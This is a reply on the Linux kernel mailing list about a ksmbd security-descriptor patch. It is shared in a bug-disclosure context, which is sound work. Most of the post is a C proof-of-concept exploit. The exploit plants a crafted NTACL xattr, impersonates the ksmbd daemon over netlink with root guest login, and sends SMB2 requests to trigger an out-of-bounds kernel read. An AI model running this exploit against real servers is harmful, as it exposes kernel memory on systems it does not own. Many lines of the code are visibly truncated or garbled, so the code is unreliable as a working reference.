Re: [PATCH] ksmbd: use copied ACE count when walking DACL in set_ntacl_dacl
Xiang Mei <[email protected]> Sat, 25 Jul 2026 13:57:13 -0700
| Newsgroups | org.kernel.vger.linux-cifs,org.kernel.vger.linux-kernel |
|---|---|
| Message-ID | <CAPpSM+TbugewAeEPb1qGyDGgHpqTYBXt4hkL30i-opsF2w7tFQ@mail.gmail.com> |
On Fri, Jul 24, 2026 at 12:10 AM ChenXiaoSong <[email protected]> wrote: > > Could you share the steps to reproduce it? > > On 7/23/26 08:19, Namjae Jeon wrote: > > Thanks for the patch. > > Could you please check whether this issue is still present in the > > current ksmbd-for-next-next tree? > The issue is patched in 065148205b48. Sorry for the dup. If you are still interested in the poc, here is the poc we triggered the bug with: ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/xattr.h> #include <linux/netlink.h> #include <linux/genetlink.h> #include <arpa/inet.h> #include <fcntl.h> #include <stdint.h> #include <pthread.h> /* ============ SHA-256 implementation ============ */ static const uint32_t sha256_k[64] = { 0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82, 0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06, 0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9, 0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca63, 0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c9, 0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e35, 0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca, 0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a32 }; #define RR(x,n) (((x)>>(n))|((x)<<(32-(n)))) #define CH(x,y,z) (((x)&(y))^((~(x))&(z))) #define MAJ(x,y,z) (((x)&(y))^((x)&(z))^((y)&(z))) #define EP0(x) (RR(x,2)^RR(x,13)^RR(x,22)) #define EP1(x) (RR(x,6)^RR(x,11)^RR(x,25)) #define SIG0(x) (RR(x,7)^RR(x,18)^((x)>>3)) #define SIG1(x) (RR(x,17)^RR(x,19)^((x)>>10)) static void sha256(const uint8_t *data, size_t len, uint8_t out[32]) { uint32_t h[8] = {0x6a09e667,0xbb67ae85,0x3c6ef372,0xa54ff53a, 0x510e527f,0x9b05688c,0x1f83d9ab,0x5be0cd19}; size_t i, j; uint64_t bitlen = len * 8; size_t nblocks = len / 64; for (i = 0; i < nblocks; i++) { uint32_t w[64], a,b,c,d,e,f,g,hh,t1,t2; const uint8_t *blk = data + i * 64; for (j = 0; j < 16; j++) w[j] = ((uint32_t)blk[j*4]<<24)|((uint32_t)blk[j*4+1]<<16)| ((uint32_t)blk[j*4+2]<<8)|blk[j*4+3]; for (j = 16; j < 64; j++) w[j] = SIG1(w[j-2]) + w[j-7] + SIG0(w[j-15]) + w[j-16]; a=h[0];b=h[1];c=h[2];d=h[3];e=h[4];f=h[5];g=h[6];hh=h[7]; for (j = 0; j < 64; j++) { t1 = hh + EP1(e) + CH(e,f,g) + sha256_k[j] + w[j]; t2 = EP0(a) + MAJ(a,b,c); hh=g;g=f;f=e;e=d+t1;d=c;c=b;b=a;a=t1+t2; } h[0]+=a;h[1]+=b;h[2]+=c;h[3]+=d;h[4]+=e;h[5]+=f;h[6]+=g;h[7]+=hh; } uint8_t last[128]; size_t rem = len - nblocks * 64; memset(last, 0, sizeof(last)); if (rem) memcpy(last, data + nblocks * 64, rem); last[rem] = 0x80; int final_blocks = (rem < 56) ? 1 : 2; int pad_off = final_blocks * 64 - 8; for (j = 0; j < 8; j++) last[pad_off + j] = (bitlen >> (56 - j*8)) & 0xff; for (int bi = 0; bi < final_blocks; bi++) { uint32_t w[64], a,b,c,d,e,f,g,hh,t1,t2; uint8_t *blk = last + bi * 64; for (j = 0; j < 16; j++) w[j] = ((uint32_t)blk[j*4]<<24)|((uint32_t)blk[j*4+1]<<16)| ((uint32_t)blk[j*4+2]<<8)|blk[j*4+3]; for (j = 16; j < 64; j++) w[j] = SIG1(w[j-2]) + w[j-7] + SIG0(w[j-15]) + w[j-16]; a=h[0];b=h[1];c=h[2];d=h[3];e=h[4];f=h[5];g=h[6];hh=h[7]; for (j = 0; j < 64; j++) { t1 = hh + EP1(e) + CH(e,f,g) + sha256_k[j] + w[j]; t2 = EP0(a) + MAJ(a,b,c); hh=g;g=f;f=e;e=d+t1;d=c;c=b;b=a;a=t1+t2; } h[0]+=a;h[1]+=b;h[2]+=c;h[3]+=d;h[4]+=e;h[5]+=f;h[6]+=g;h[7]+=hh; } for (j = 0; j < 8; j++) { out[j*4] = (h[j]>>24)&0xff; out[j*4+1] = (h[j]>>16)&0xff; out[j*4+2] = (h[j]>>8)&0xff; out[j*4+3] = h[j]&0xff; } } /* ============ NDR encoder ============ */ struct ndr_buf { uint8_t *data; int offset; int capacity; }; static void ndr_ensure(struct ndr_buf *n, int need) { if (n->offset + need > n->capacity) { n->capacity = (n->offset + need) * 2; n->data = realloc(n->data, n->capacity); } } static void ndr_write_int16(struct ndr_buf *n, uint16_t v) { ndr_ensure(n, 2); memcpy(n->data + n->offset, &v, 2); n->offset += 2; } static void ndr_write_int32(struct ndr_buf *n, uint32_t v) { ndr_ensure(n, 4); memcpy(n->data + n->offset, &v, 4); n->offset += 4; } static void ndr_write_int64(struct ndr_buf *n, uint64_t v) { ndr_ensure(n, 8); memcpy(n->data + n->offset, &v, 8); n->offset += 8; } static void ndr_write_bytes(struct ndr_buf *n, const void *d, int len) { ndr_ensure(n, len); memcpy(n->data + n->offset, d, len); n->offset += len; } static void ndr_align8(struct ndr_buf *n) { int a = (n->offset + 7) & ~7; if (a > n->offset) { ndr_ensure(n, a - n->offset); memset(n->data + n->off} } #define SMB_ACL_USER 1 #define SMB_ACL_USER_OBJ 2 #define SMB_ACL_GROUP 3 #define SMB_ACL_GROUP_OBJ 4 #define SMB_ACL_OTHER 5 #define SMB_ACL_MASK 6 struct acl_entry { int type; uint64_t id; int perm; }; static void ndr_encode_posix_acl_entry_fn(struct ndr_buf *n, struct acl_entry { ndr_write_int32(n, count); ndr_align8(n); ndr_write_int32(n, count); ndr_write_int32(n, 0); for (int i = 0; i < count; i++) { ndr_align8(n); ndr_write_int16(n, entries[i].type); ndr_write_int16(n, entries[i].type); if (entries[i].type == SMB_ACL_USER) { ndr_align8(n); ndr_write_int64(n, entries[i].id); } else if (entries[i].type == SMB_ACL_GROUP) { ndr_align8(n); ndr_write_int64(n, entries[i].id); } ndr_write_int32(n, entries[i].perm); } } static void ndr_encode_posix_acl_fn(struct ndr_buf *n, uint64_t uid, uint64_t , uint32_t mode, struct acl_entry *acl, int{ uint32_t ref_id = 0x00020000; n->offset = 0; if (acl) { ndr_write_int32(n, ref_id); ref_id += 4; } else ndr_write_int32(n, 0); /* no default ACL */ ndr_write_int32(n, 0); ndr_write_int64(n, uid); ndr_write_int64(n, gid); ndr_write_int32(n, mode); if (acl) ndr_encode_posix_acl_entry_fn(n, acl, acl_count); } #define NDR_NTSD_OFFSETOF 0xA0 static void ndr_encode_v4_ntacl_fn(struct ndr_buf *n, uint8_t hash[64], uint8_t posix_hash[64], uint8_t *sd_buf, i{ n->offset = 0; ndr_write_int16(n, 4); /* version */ ndr_write_int32(n, 4); /* version2 */ ndr_write_int16(n, 2); /* level */ ndr_write_int32(n, 0x00020004); /* ref_id */ ndr_write_int16(n, 1); /* hash_type = SHA256 */ ndr_write_bytes(n, hash, 64); uint8_t desc[10]; memset(desc, 0, 10); memcpy(desc, "posix_acl", 9); ndr_write_bytes(n, desc, 10); ndr_write_int64(n, 0); /* current_time */ ndr_write_bytes(n, posix_hash, 64); ndr_write_bytes(n, sd_buf, sd_size); } /* ============ Build crafted Security Descriptor ============ */ static int build_crafted_sd(uint8_t *out, int maxl) { memset(out, 0, maxl); int off = 0; /* NTSD header: revision=1, type=DACL_PRESENT(0x0004) */ *(uint16_t *)(out + 0) = 1; *(uint16_t *)(out + 2) = 0x0004; off = 20; /* 2+2+4+4+4+4 = 20 */ int dacl_off = off; *(uint16_t*)(out+off) = 2; *(uint16_t*)(out+off+4) = 2; /* num_aces = 2, only 1 gets copied */ off += 8; /* ACE1: Everyone (S-1-1-0) FULL_CONTROL - passes the CREATE access check / out[off]=0; *(uint32_t*)(out+off+4)=0x001F01FF; out[off+8]=1; out[off+9]=1; out[off+14]=0; out[off+15]=1; *(uint32_t*)(out+off+16)=0; int ace1_sz = 8+8+1*4; *(uint16_t*)(out+off+2)=ace1_sz; off+=ace1_sz; /* ACE2: num_subauth=20 > 15, skipped by the copy loop but still counted */ out[off]=0; *(uint32_t*)(out+off+4)=0x001F01FF; out[off+8]=1; out[off+9]=20; out[off+15]=5; int ace_sz = 8+8; *(uint16_t*)(out+off+2)=ace_sz; off+=ace_sz; *(uint16_t*)(out+dacl_off+2) = off - dacl_off; *(uint32_t*)(out+16) = dacl_off; return off; } /* ============ ksmbd netlink IPC ============ */ #define KSMBD_GENL_NAME "SMBD_GENL" #define KSMBD_GENL_VERSION 0x01 enum ksmbd_event { KSMBD_EVENT_UNSPEC=0, KSMBD_EVENT_HEARTBEAT_REQUEST, KSMBD_EVENT_STARTING_UP, KSMBD_EVENT_SHUTTING_DOWN, KSMBD_EVENT_LOGIN_REQUEST, KSMBD_EVENT_LOGIN_RESPONSE, KSMBD_EVENT_SHARE_CONFIG_REQUEST, KSMBD_EVENT_SHARE_CONFIG_RESPONSE, KSMBD_EVENT_TREE_CONNECT_REQUEST, KSMBD_EVENT_TREE_CONNECT_RESPONSE, KSMBD_EVENT_TREE_DISCONNECT_REQUEST, KSMBD_EVENT_LOGOUT_REQUEST, KSMBD_EVENT_RPC_REQUEST, KSMBD_EVENT_RPC_RESPONSE, KSMBD_EVENT_SPNEGO_AUTHEN_REQUEST, KSMBD_EVENT_SPNEGO_AUTHEN_RESPONSE, KSMBD_EVENT_LOGIN_REQUEST_EXT, KSMBD_EVENT_LOGIN_RESPONSE_EXT, }; #define KSMBD_SHARE_FLAG_AVAILABLE (1<<0) #define KSMBD_SHARE_FLAG_BROWSEABLE (1<<1) #define KSMBD_SHARE_FLAG_WRITEABLE (1<<2) #define KSMBD_SHARE_FLAG_GUEST_OK (1<<4) #define KSMBD_SHARE_FLAG_GUEST_ONLY (1<<5) #define KSMBD_SHARE_FLAG_OPLOCKS (1<<7) #define KSMBD_SHARE_FLAG_ACL_XATTR (1<<13) #define KSMBD_USER_FLAG_OK (1<<0) #define KSMBD_USER_FLAG_GUEST_ACCOUNT (1<<4) #define KSMBD_TREE_CONN_STATUS_OK 0 #define KSMBD_TREE_CONN_FLAG_WRITABLE (1<<2) struct ksmbd_startup_request { uint32_t flags; int32_t signing; int8_t min_prot[16]; int8_t max_prot[16]; int8_t netbios_name[16]; int8_t work_group[64]; int8_t server_string[64]; uint16_t tcp_port; uint16_t ipc_timeout; uint32_t deadtime; uint32_t file_max; uint32_t smb2_max_write; uint32_t smb2_max_read; uint32_t smb2_max_trans; uint32_t share_fake_fscaps; uint32_t sub_auth[3]; uint32_t smb2_max_credits; uint32_t smbd_max_io_size; uint32_t max_connections; int8_t bind_interfaces_only; uint32_t max_ip_connections; int8_t reserved[499]; uint32_t ifc_list_sz; } __attribute__((packed)); struct ksmbd_login_request { uint32_t handle; int8_t account[48]; uint32_t res; struct ksmbd_login_response { uint32_t handle; uint32_t gid; uint32_t uid; int8_t account[48]; uint16_t status; uint16_t hash_sz; int8_t hash[18]; uint32_t reserved[16]; }; struct ksmbd_login_response_ext { uint32_t handle; int32_t ngroups; int8_t res; struct ksmbd_share_config_response { uint32_t handle; uint32_t flags; uint16_t create_mask; uint16_t directory_; uint16_t force_create_mode; uint16_t force_directory_mode; uint16_t force_uid; uint16_t force_gid; int8_t share_name[64]; uint32_t reserved[111]; uint32_t payload_sz; uint32_t veto_list_sz; }; struct ksmbd_tree_connect_response { uint32_t handle; uint16_t status; uint16_t connection_flags; uint32_t rese; }; static const char *SHARE_PATH = "/tmp/smbshare"; static int nl_sock = -1; static uint16_t nl_family_id = 0; static uint32_t nl_mcast_grp = 0; static volatile int daemon_running = 1; static int resolve_genl_family(int sock, const char *name) { char buf[4096]; memset(buf, 0, sizeof(buf)); struct nlmsghdr *nlh = (void *)buf; struct genlmsghdr *gh = (void *)NLMSG_DATA(nlh); struct nlattr *nla = (void *)((char *)gh + GENL_HDRLEN); int nlen = strlen(name) + 1; nla->nla_len = NLA_HDRLEN + nlen; nla->nla_type = CTRL_ATTR_FAMILY_NAME; memcpy((char *)nla + NLA_HDRLEN, name, nlen); gh->cmd = CTRL_CMD_GETFAMILY; gh->version = 1; nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + NLA_ALIGN(nla->nla_len); nlh->nlmsg_type = GENL_ID_CTRL; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlm; struct sockaddr_nl a = {.nl_family = AF_NETLINK}; if (sendto(sock, buf, nlh->nlmsg_len, 0, (void *)&a, sizeof(a)) < 0) retur; int len = recv(sock, buf, sizeof(buf), 0); if (len < 0) return -1; nlh = (void *)buf; if (nlh->nlmsg_type == NLMSG_ERROR) return -1; int fid = -1; int rem = NLMSG_PAYLOAD(nlh, GENL_HDRLEN); char *p = (char *)NLMSG_DATA(nlh) + GENL_HDRLEN; while (rem >= (int)NLA_HDRLEN) { struct nlattr *at = (void *)p; if (at->nla_len < NLA_HDRLEN) break; int alen = NLA_ALIGN(at->nla_len); if (at->nla_type == CTRL_ATTR_FAMILY_ID) fid = *(uint16_t *)((char *)a; if (at->nla_type == CTRL_ATTR_MCAST_GROUPS) { int grem = at->nla_len - NLA_HDRLEN; char *gp = (char *)at + NLA_H; while (grem >= (int)NLA_HDRLEN) { struct nlattr *grp = (void *)gp; if (grp->nla_len < NLA_HDRLEN) break; int irem = grp->nla_len - NLA_HDRLEN; char *ip = (char *)grp +; while (irem >= (int)NLA_HDRLEN) { struct nlattr *ia = (void *)ip; if (ia->nla_len < NLA_HDRLEN) break; if (ia->nla_type == 2) nl_mcast_grp = *(uint32_t *)((char ; int il = NLA_ALIGN(ia->nla_len); ip += il; irem -= il; } int gl = NLA_ALIGN(grp->nla_len); gp += gl; grem -= gl; } } p += alen; rem -= alen; } return fid; } static int nl_send(int sock, uint16_t fid, uint8_t cmd, uint16_t atype, void *{ char buf[8192]; memset(buf, 0, sizeof(buf)); struct nlmsghdr *nlh = (void *)buf; struct genlmsghdr *gh = (void *)NLMSG_DATA(nlh); gh->cmd = cmd; gh->version = KSMBD_GENL_VERSION; struct nlattr *nla = (void *)((char *)gh + GENL_HDRLEN); nla->nla_type = atype; nla->nla_len = NLA_HDRLEN + dlen; memcpy((char *)nla + NLA_HDRLEN, data, dlen); nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + NLA_ALIGN(nla->nla_len); nlh->nlmsg_type = fid; nlh->nlmsg_flags = NLM_F_REQUEST; struct sockaddr_nl a = {.nl_family = AF_NETLINK}; return sendto(sock, buf, nlh->nlmsg_len, 0, (void *)&a, sizeof(a)); } static void *ipc_thread(void *arg) { (void)arg; char buf[8192]; while (daemon_running) { struct sockaddr_nl a; socklen_t al = sizeof(a); int len = recvfrom(nl_sock, buf, sizeof(buf), 0, (void *)&a, &al); if (len < 0) { if (errno == EINTR) continue; break; } struct nlmsghdr *nlh = (void *)buf; if (nlh->nlmsg_type != nl_family_id) continue; struct genlmsghdr *gh = (void *)NLMSG_DATA(nlh); void *payload = NULL; int rem = NLMSG_PAYLOAD(nlh, GENL_HDRLEN); char *ap = (char *)gh + GENL_HDRLEN; while (rem >= (int)NLA_HDRLEN) { struct nlattr *na = (void *)ap; if (na->nla_len < NLA_HDRLEN) break; if (na->nla_type == gh->cmd) { payload = ap + NLA_HDRLEN; break; } int al2 = NLA_ALIGN(na->nla_len); ap += al2; rem -= al2; } if (!payload) { ap = (char *)gh + GENL_HDRLEN; rem = NLMSG_PAYLOAD(nlh, GENL_HDRLE; if (rem >= (int)NLA_HDRLEN) { struct nlattr *na = (void *)ap; if (na->nla_len >= NLA_HDRLEN) payload = ap + NLA_HDRLEN; } } switch (gh->cmd) { case KSMBD_EVENT_LOGIN_REQUEST: { struct ksmbd_login_response r; memset(&r, 0, sizeof(r)); if (payload) { r.handle = *(uint32_t*)payload; memcpy(r.account, (} r.status = KSMBD_USER_FLAG_OK | KSMBD_USER_FLAG_GUEST_ACCOUNT; r.uid = 0; r.gid = 0; nl_send(nl_sock, nl_family_id, KSMBD_EVENT_LOGIN_RESPONSE, KSMBD_E; break; } case KSMBD_EVENT_LOGIN_REQUEST_EXT: { struct ksmbd_login_response_ext r; memset(&r, 0, sizeof(r)); if (payload) r.handle = *(uint32_t*)payload; nl_send(nl_sock, nl_family_id, KSMBD_EVENT_LOGIN_RESPONSE_EXT, KSM; break; } case KSMBD_EVENT_SHARE_CONFIG_REQUEST: { char rb[sizeof(struct ksmbd_share_config_response) + 256]; memset(; struct ksmbd_share_config_response *r = (void *)rb; if (payload) r->handle = *(uint32_t*)payload; r->flags = KSMBD_SHARE_FLAG_AVAILABLE | KSMBD_SHARE_FLAG_BROWSEABL| KSMBD_SHARE_FLAG_WRITEABLE | KSMBD_SHARE_FLAG_GUEST_OK | KSMBD_SHARE_FLAG_GUEST_ONLY | KSMBD_SHARE_FLAG_OPLOCKS | KSMBD_SHARE_FLAG_ACL_XATTR; r->create_mask = 0744; r->directory_mask = 0755; strncpy((char *)r->share_name, "test", 63); char *pp = rb + sizeof(struct ksmbd_share_config_response); strcpy(pp, SHARE_PATH); r->payload_sz = strlen(SHARE_PATH) + 1; r->veto_list_sz = 0; int total = sizeof(struct ksmbd_share_config_response) + r->payloa; nl_send(nl_sock, nl_family_id, KSMBD_EVENT_SHARE_CONFIG_RESPONSE, ; break; } case KSMBD_EVENT_TREE_CONNECT_REQUEST: { struct ksmbd_tree_connect_response r; memset(&r, 0, sizeof(r)); if (payload) r.handle = *(uint32_t*)payload; r.status = KSMBD_TREE_CONN_STATUS_OK; r.connection_flags = KSMBD_TREE_CONN_FLAG_WRITABLE; nl_send(nl_sock, nl_family_id, KSMBD_EVENT_TREE_CONNECT_RESPONSE, ; break; } default: break; } } return NULL; } /* ============ SMB2 client ============ */ #pragma pack(push, 1) struct smb2_header { uint8_t protocol_id[4]; uint16_t structure_size; uint16_t credit_charge; uint32_t status; uint16_t command; uint16_t credit_request; uint32_t flags; uint32_t next_command; uint64_t message_id; uint32_t reserved; uint32_t tree_id; uint64_t session_id; uint8_t signature[16]; }; #pragma pack(pop) #define SMB2_NEGOTIATE 0x0000 #define SMB2_SESSION_SETUP 0x0001 #define SMB2_TREE_CONNECT 0x0003 #define SMB2_CREATE 0x0005 #define SMB2_QUERY_INFO 0x0010 static uint64_t msg_id = 0, session_id = 0; static uint32_t tree_id_val = 0; static uint8_t file_id[16]; static int smb_send(int s, void *b, int l) { uint8_t h[4] = {0, (l>>16)&0xFF, (l>>8)&0xFF, l&0xFF}; if (send(s, h, 4, 0) != 4) return -1; return send(s, b, l, 0) == l ? 0 : -1; } static int smb_recv(int s, void *b, int bs) { uint8_t h[4]; if (recv(s, h, 4, MSG_WAITALL) != 4) return -1; int l = (h[1]<<16)|(h[2]<<8)|h[3]; if (l > bs) return -1; int t = 0; while (t < l) { int n = recv(s, (char*)b+t, l-t, 0); if (n<=0) return -1; } return l; } static void mkhdr(struct smb2_header *h, uint16_t cmd) { memset(h, 0, 64); h->protocol_id[0]=0xFE; h->protocol_id[1]='S'; h->protocol_id[2]='M'; h->p; h->structure_size=64; h->command=cmd; h->credit_request=31; h->message_id=msg_id++; h->session_id=session_id; h->tree_id=tree_id_val; } static int negotiate(int s) { uint8_t buf[256]; memset(buf,0,sizeof(buf)); mkhdr((void*)buf, SMB2_NEGOTIATE); uint8_t *b=buf+64; *(uint16_t*)(b)=36; *(uint16_t*)(b+2)=3; *(uint16_t*)(b+4)=1; *(uint32_t*)(b+12)=0xdeadbeef; *(uint16_t*)(b+36)=0x0202; *(uint16_t*)(b+38)=0x0210; *(uint16_t*)(b+40)=0; if (smb_send(s,buf,64+42)<0) return -1; uint8_t r[4096]; if (smb_recv(s,r,sizeof(r))<64) return -1; return ((struct smb2_header*)r)->status ? -1 : 0; } static int session_setup(int s) { uint8_t buf[512]; memset(buf,0,sizeof(buf)); mkhdr((void*)buf, SMB2_SESSION_SETUP); uint8_t *b=buf+64; *(uint16_t*)b=25; *(uint8_t*)(b+3)=1; uint8_t nt[32]; memset(nt,0,32); memcpy(nt,"NTLMSSP",8); *(uint32_t*)(nt+8)=1; *(uint32_t*)(nt+12)=0x600082; uint16_t soff=64+24; *(uint16_t*)(b+12)=soff; *(uint16_t*)(b+14)=32; memcpy(buf+soff,nt,32); if (smb_send(s,buf,soff+32)<0) return -1; uint8_t r[4096]; int rl=smb_recv(s,r,sizeof(r)); if (rl<64) return -1; struct smb2_header *rh=(void*)r; session_id=rh->session_id; if (rh->status!=0xc0000016) return -1; /* Auth phase */ memset(buf,0,sizeof(buf)); mkhdr((void*)buf,SMB2_SESSION_SETUP); ((struct smb2_header*)buf)->session_id=session_id; b=buf+64; *(uint16_t*)b=25; *(uint8_t*)(b+3)=1; uint8_t au[128]; memset(au,0,128); memcpy(au,"NTLMSSP",8); *(uint32_t*)(au+8)=3; int voff=72; uint8_t uname[]={'g',0,'u',0,'e',0,'s',0,'t',0}; int uname_len=10; *(uint16_t*)(au+12)=0; *(uint16_t*)(au+14)=0; *(uint32_t*)(au+16)=voff; *(uint16_t*)(au+20)=0; *(uint16_t*)(au+22)=0; *(uint32_t*)(au+24)=voff; *(uint16_t*)(au+28)=0; *(uint16_t*)(au+30)=0; *(uint32_t*)(au+32)=voff; *(uint16_t*)(au+36)=uname_len; *(uint16_t*)(au+38)=uname_len; *(uint32_t*); memcpy(au+voff,uname,uname_len); *(uint16_t*)(au+44)=0; *(uint16_t*)(au+46)=0; *(uint32_t*)(au+48)=voff+una; *(uint16_t*)(au+52)=0; *(uint16_t*)(au+54)=0; *(uint32_t*)(au+56)=voff+una; *(uint32_t*)(au+60)=0x60008215; int aulen=voff+uname_len; soff=64+24; *(uint16_t*)(b+12)=soff; *(uint16_t*)(b+14)=aulen; memcpy(buf+soff,au,aulen); if (smb_send(s,buf,soff+aulen)<0) return -1; rl=smb_recv(s,r,sizeof(r)); if (rl<64) return -1; rh=(void*)r; if (rh->status==0) { session_id=rh->session_id; return 0; } return -1; } static int tree_connect(int s) { uint8_t buf[256]; memset(buf,0,sizeof(buf)); mkhdr((void*)buf, SMB2_TREE_CONNECT); uint8_t *b=buf+64; *(uint16_t*)b=9; char pa[]="\\\\127.0.0.1\\test"; uint8_t pu[128]; int pl=0; for (int i=0; pa[i]; i++) { pu[pl++]=pa[i]; pu[pl++]=0; } uint16_t po=64+8; *(uint16_t*)(b+4)=po; *(uint16_t*)(b+6)=pl; memcpy(buf+po,pu,pl); if (smb_send(s,buf,po+pl)<0) return -1; uint8_t r[4096]; if (smb_recv(s,r,sizeof(r))<64) return -1; struct smb2_header *rh=(void*)r; if (rh->status) return -1; tree_id_val=rh->tree_id; return 0; } static int create_file(int s, const char *fn) { uint8_t buf[512]; memset(buf,0,sizeof(buf)); mkhdr((void*)buf, SMB2_CREATE); uint8_t *b=buf+64; *(uint16_t*)b=57; *(uint32_t*)(b+24)=0x001F01FF; *(uint32_t*)(b+28)=0x80; *(uint32_t*)(b+32)=0x07; *(uint32_t*)(b+36)=0x05; uint8_t nu[256]; int nl=0; for (int i=0; fn[i]; i++) { nu[nl++]=fn[i]; nu[nl++]=0; } uint16_t no=64+56; *(uint16_t*)(b+44)=no; *(uint16_t*)(b+46)=nl; memcpy(buf+no,nu,nl); int tl=no+nl; if (tl<64+57) tl=64+57; if (smb_send(s,buf,tl)<0) return -1; uint8_t r[4096]; if (smb_recv(s,r,sizeof(r))<64) return -1; struct smb2_header *rh=(void*)r; if (rh->status) return -1; memcpy(file_id, r+64+64, 16); return 0; } static int query_info_sec(int s) { uint8_t buf[256]; memset(buf,0,sizeof(buf)); mkhdr((void*)buf, SMB2_QUERY_INFO); uint8_t *b=buf+64; *(uint16_t*)b=41; *(uint8_t*)(b+2)=0x03; *(uint32_t*)(b+4)=65536; *(uint32_t*)(b+16)=0x07; /* OWNER|GROUP|DACL */ memcpy(b+24, file_id, 16); if (smb_send(s,buf,64+41)<0) return -1; uint8_t r[8192]; if (smb_recv(s,r,sizeof(r))<64) return -1; return 0; } /* ============ Main ============ */ int main(void) { mkdir(SHARE_PATH, 0777); const char *filepath = "/tmp/smbshare/testfile.txt"; int fd = open(filepath, O_CREAT|O_WRONLY|O_TRUNC, 0755); if (fd >= 0) { write(fd, "test", 4); close(fd); } chmod(filepath, 0755); /* Set POSIX ACL: USER_OBJ(rwx), USER(7777,rwx), GROUP_OBJ(rx), MASK(rwx),/ uint8_t posix_acl_xattr[4 + 5*8]; memset(posix_acl_xattr, 0, sizeof(posix_acl_xattr)); *(uint32_t*)(posix_acl_xattr) = 2; *(uint16_t*)(posix_acl_xattr+4)=0x01; *(uint16_t*)(posix_acl_xattr+6)=7; *; *(uint16_t*)(posix_acl_xattr+12)=0x02; *(uint16_t*)(posix_acl_xattr+14)=7;; *(uint16_t*)(posix_acl_xattr+20)=0x04; *(uint16_t*)(posix_acl_xattr+22)=5;; *(uint16_t*)(posix_acl_xattr+28)=0x10; *(uint16_t*)(posix_acl_xattr+30)=7;; *(uint16_t*)(posix_acl_xattr+36)=0x20; *(uint16_t*)(posix_acl_xattr+38)=5;; if (setxattr(filepath, "system.posix_acl_access", posix_acl_xattr, sizeof({ perror("setxattr posix_acl"); return 1; } struct stat st; stat(filepath, &st); /* Compute NDR POSIX ACL hash */ struct ndr_buf acl_ndr = {.data=calloc(1,1024), .offset=0, .capacity=1024}; struct acl_entry entries[5] = { {SMB_ACL_USER_OBJ, 0, 7}, {SMB_ACL_USER, 7777, 7}, {SMB_ACL_GROUP_OBJ, 0, 5}, {SMB_ACL_MASK, 0, 7}, {SMB_ACL_OTHER, 0, 5}, }; ndr_encode_posix_acl_fn(&acl_ndr, st.st_uid, st.st_gid, st.st_mode, entrie; uint8_t posix_hash[64]; memset(posix_hash, 0, 64); sha256(acl_ndr.data, acl_ndr.offset, posix_hash); /* Build crafted SD and adjust offsets */ uint8_t sd_buf[2048]; int sd_size = build_crafted_sd(sd_buf, sizeof(sd_buf)); /* ksmbd_vfs_get_sd_xattr() subtracts NDR_NTSD_OFFSETOF back off on read */ *(uint32_t*)(sd_buf+16) += NDR_NTSD_OFFSETOF; uint8_t sd_hash[64]; memset(sd_hash, 0, 64); sha256(sd_buf, sd_size, sd_hash); /* Encode NDR v4 NTACL and write xattr */ struct ndr_buf ntacl = {.data=calloc(1,4096), .offset=0, .capacity=4096}; ndr_encode_v4_ntacl_fn(&ntacl, sd_hash, posix_hash, sd_buf, sd_size); if (setxattr(filepath, "security.NTACL", ntacl.data, ntacl.offset, 0) < 0){ perror("setxattr security.NTACL"); return 1; } free(acl_ndr.data); free(ntacl.data); /* Setup netlink IPC */ nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (nl_sock < 0) { perror("nlsock"); return 1; } struct sockaddr_nl sa = {.nl_family = AF_NETLINK, .nl_pid = getpid()}; if (bind(nl_sock, (void*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1;} nl_family_id = resolve_genl_family(nl_sock, KSMBD_GENL_NAME); if ((int)nl_family_id <= 0) { fprintf(stderr, "No ksmbd genl\n"); return 1} if (nl_mcast_grp > 0) setsockopt(nl_sock, SOL_NETLINK, NETLINK_ADD_MEMBERSHIP, &nl_mcast_grp; pthread_t ipc_tid; pthread_create(&ipc_tid, NULL, ipc_thread, NULL); /* Start ksmbd */ struct ksmbd_startup_request req; memset(&req, 0, sizeof(req)); strcpy((char*)req.min_prot,"SMB2_10"); strcpy((char*)req.max_prot,"SMB3_11; strcpy((char*)req.netbios_name,"TEST"); strcpy((char*)req.work_group,"WG"); strcpy((char*)req.server_string,"t"); req.tcp_port=445; req.ipc_timeout=60; req.file_max=10000; req.smb2_max_write=65536; req.smb2_max_read=65536; req.smb2_max_trans=6553; req.sub_auth[0]=1; req.sub_auth[1]=2; req.sub_auth[2]=3; req.smb2_max_credits=8192; req.max_connections=128; nl_send(nl_sock, nl_family_id, KSMBD_EVENT_STARTING_UP, KSMBD_EVENT_STARTI; /* Connect to ksmbd */ int ss = -1; for (int i = 0; i < 30; i++) { ss = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in sv = {.sin_family=AF_INET, .sin_port=htons(445), .s; if (connect(ss, (void*)&sv, sizeof(sv)) == 0) break; close(ss); ss = -1; usleep(500000); } if (ss < 0) { fprintf(stderr, "Cannot connect\n"); return 1; } if (negotiate(ss)) goto end; if (session_setup(ss)) goto end; if (tree_connect(ss)) goto end; if (create_file(ss, "testfile.txt")) goto end; /* One QUERY_INFO(SecInfo=DACL) is enough; the read is deterministic. */ printf("[*] Triggering OOB read...\n"); fflush(stdout); query_info_sec(ss); usleep(500000); end: close(ss); daemon_running = 0; close(nl_sock); sleep(1); return 0;} ``` Best, Xiang > -- > ChenXiaoSong <[email protected]> > Chinese Homepage: https://chenxiaosong.com > English Homepage: https://chenxiaosong.com/en >